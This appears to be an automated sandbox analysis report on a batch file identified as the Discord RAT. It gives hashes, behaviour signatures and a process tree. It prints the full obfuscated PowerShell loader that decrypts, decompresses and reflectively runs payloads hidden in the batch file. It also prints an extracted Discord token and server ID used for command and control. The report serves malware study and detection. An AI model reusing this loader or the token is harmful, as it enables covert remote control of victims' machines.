Analysis

  • max time kernel
    82s
  • max time network
    91s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    13-05-2024 06:27

General

  • Target

    Client-built.bat

  • Size

    276KB

  • MD5

    0c82a2b143ba3344234988e76a83fb9e

  • SHA1

    41867630fed3a008020947c217b2d3029f0f7203

  • SHA256

    0bfc1382aa6e0329b1787ba6e1da7c615698c40ebe3acc4c7eaf59393127e7ca

  • SHA512

    491799b57350191479067677d9e98dd6dfb6f4e3755acbf806cbf9f7a5f4109822f03fbe7e216cfb19d8ccab49593b3fd07a06e524f8d75bb7a8e22b9b147e03

  • SSDEEP

    6144:Rf7Ie6igEJsHvviyhG8gbKXFOyPUCWxyRKuwlAvB1PIg:VrgEYvviyKuSxLuwlAv/Ig

Malware Config

Extracted

Family

discordrat

Attributes
  • discord_token

    MTIxMjYwMTc0NTU0OTgxOTkyNA.G6ob17.hVj0y7t0oSi-tGvj_U-QqOqKV-xvE9qC8cf2k4

  • server_id

    1239461504776933396

Signatures

  • Discord RAT

    A RAT written in C# using Discord as a C2.

  • Blocklisted process makes network request 6 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 5 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 41 IoCs
  • Suspicious use of AdjustPrivilegeToken 9 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Client-built.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3456
    • C:\Windows\system32\net.exe
      net file
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:316
      • C:\Windows\system32\net1.exe
        C:\Windows\system32\net1 file
        3⤵
          PID:1388
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('h/pj37mdJYLWvIIq4ccZ4XXl2YrTSq1NSmb5N3irBBA='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('AckqLhjbBU92JLFFeiEdeA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $XVapQ=New-Object System.IO.MemoryStream(,$param_var); $JKJeN=New-Object System.IO.MemoryStream; $Uldzf=New-Object System.IO.Compression.GZipStream($XVapQ, [IO.Compression.CompressionMode]::Decompress); $Uldzf.CopyTo($JKJeN); $Uldzf.Dispose(); $XVapQ.Dispose(); $JKJeN.Dispose(); $JKJeN.ToArray();}function execute_function($param_var,$param2_var){ $NLrpg=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $keuMG=$NLrpg.EntryPoint; $keuMG.Invoke($null, $param2_var);}$cADeX = 'C:\Users\Admin\AppData\Local\Temp\Client-built.bat';$host.UI.RawUI.WindowTitle = $cADeX;$FbVEn=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($cADeX).Split([Environment]::NewLine);foreach ($HkIRx in $FbVEn) { if ($HkIRx.StartsWith(':: ')) { $sSiRv=$HkIRx.Substring(3); break; }}$payloads_var=[string[]]$sSiRv.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        2⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4064
    • C:\Windows\system32\AUDIODG.EXE
      C:\Windows\system32\AUDIODG.EXE 0x150 0x42c
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:3524
    • C:\Windows\system32\taskmgr.exe
      "C:\Windows\system32\taskmgr.exe" /4
      1⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      PID:1956

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hb2xi2at.j12.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/1956-29-0x0000015742120000-0x0000015742121000-memory.dmp

      Filesize

      4KB

    • memory/1956-30-0x0000015742120000-0x0000015742121000-memory.dmp

      Filesize

      4KB

    • memory/1956-19-0x0000015742120000-0x0000015742121000-memory.dmp

      Filesize

      4KB

    • memory/1956-20-0x0000015742120000-0x0000015742121000-memory.dmp

      Filesize

      4KB

    • memory/1956-25-0x0000015742120000-0x0000015742121000-memory.dmp

      Filesize

      4KB

    • memory/1956-24-0x0000015742120000-0x0000015742121000-memory.dmp

      Filesize

      4KB

    • memory/1956-27-0x0000015742120000-0x0000015742121000-memory.dmp

      Filesize

      4KB

    • memory/1956-28-0x0000015742120000-0x0000015742121000-memory.dmp

      Filesize

      4KB

    • memory/1956-26-0x0000015742120000-0x0000015742121000-memory.dmp

      Filesize

      4KB

    • memory/1956-18-0x0000015742120000-0x0000015742121000-memory.dmp

      Filesize

      4KB

    • memory/4064-15-0x0000026E1D1D0000-0x0000026E1D1E8000-memory.dmp

      Filesize

      96KB

    • memory/4064-11-0x00007FFD5B5C0000-0x00007FFD5C081000-memory.dmp

      Filesize

      10.8MB

    • memory/4064-17-0x0000026E1DB10000-0x0000026E1E038000-memory.dmp

      Filesize

      5.2MB

    • memory/4064-33-0x00007FFD5B5C0000-0x00007FFD5C081000-memory.dmp

      Filesize

      10.8MB

    • memory/4064-0-0x00007FFD5B5C3000-0x00007FFD5B5C5000-memory.dmp

      Filesize

      8KB

    • memory/4064-16-0x0000026E1D410000-0x0000026E1D5D2000-memory.dmp

      Filesize

      1.8MB

    • memory/4064-1-0x0000026E1CF50000-0x0000026E1CF72000-memory.dmp

      Filesize

      136KB

    • memory/4064-14-0x0000026E1D1A0000-0x0000026E1D1D6000-memory.dmp

      Filesize

      216KB

    • memory/4064-13-0x0000026E1CF40000-0x0000026E1CF48000-memory.dmp

      Filesize

      32KB

    • memory/4064-31-0x00007FFD5B5C3000-0x00007FFD5B5C5000-memory.dmp

      Filesize

      8KB

    • memory/4064-32-0x00007FFD5B5C0000-0x00007FFD5C081000-memory.dmp

      Filesize

      10.8MB

    • memory/4064-12-0x00007FFD5B5C0000-0x00007FFD5C081000-memory.dmp

      Filesize

      10.8MB